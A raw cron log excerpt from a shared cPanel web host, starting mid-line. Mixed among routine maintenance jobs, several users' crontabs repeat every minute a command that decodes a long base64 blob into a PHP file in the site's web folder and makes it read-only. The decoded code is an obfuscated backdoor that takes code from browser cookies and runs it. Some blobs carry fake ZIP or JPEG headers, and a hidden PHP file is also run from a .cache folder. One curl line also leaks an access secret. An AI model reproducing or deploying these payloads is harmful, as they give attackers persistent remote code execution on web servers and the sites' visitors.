5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:02:02 medusa CROND[31023]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:02:02 medusa CROND[31027]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:02:02 medusa CROND[31026]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:02:02 medusa CROND[31031]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:03:02 medusa CROND[23226]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:03:02 medusa CROND[23280]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:03:02 medusa CROND[23283]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:03:02 medusa CROND[23285]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:03:02 medusa CROND[23284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:03:02 medusa CROND[23287]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:03:02 medusa CROND[23289]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:03:02 medusa CROND[23290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:03:02 medusa CROND[23291]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:03:02 medusa CROND[23292]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:03:02 medusa CROND[23293]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:03:02 medusa CROND[23288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:04:01 medusa CROND[15388]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:04:01 medusa CROND[15389]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:04:01 medusa CROND[15391]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:04:01 medusa CROND[15390]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:04:01 medusa CROND[15394]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:04:01 medusa CROND[15395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:04:01 medusa CROND[15397]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:04:01 medusa CROND[15398]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:04:01 medusa CROND[15399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:04:01 medusa CROND[15401]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:04:01 medusa CROND[15402]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:04:01 medusa CROND[15406]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:04:01 medusa CROND[15418]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:05:01 medusa CROND[8186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:05:01 medusa CROND[8189]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:05:01 medusa CROND[8227]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:05:02 medusa CROND[8228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 18:05:02 medusa CROND[8233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:05:02 medusa CROND[8236]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:05:02 medusa CROND[8237]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:05:02 medusa CROND[8238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:05:02 medusa CROND[8240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
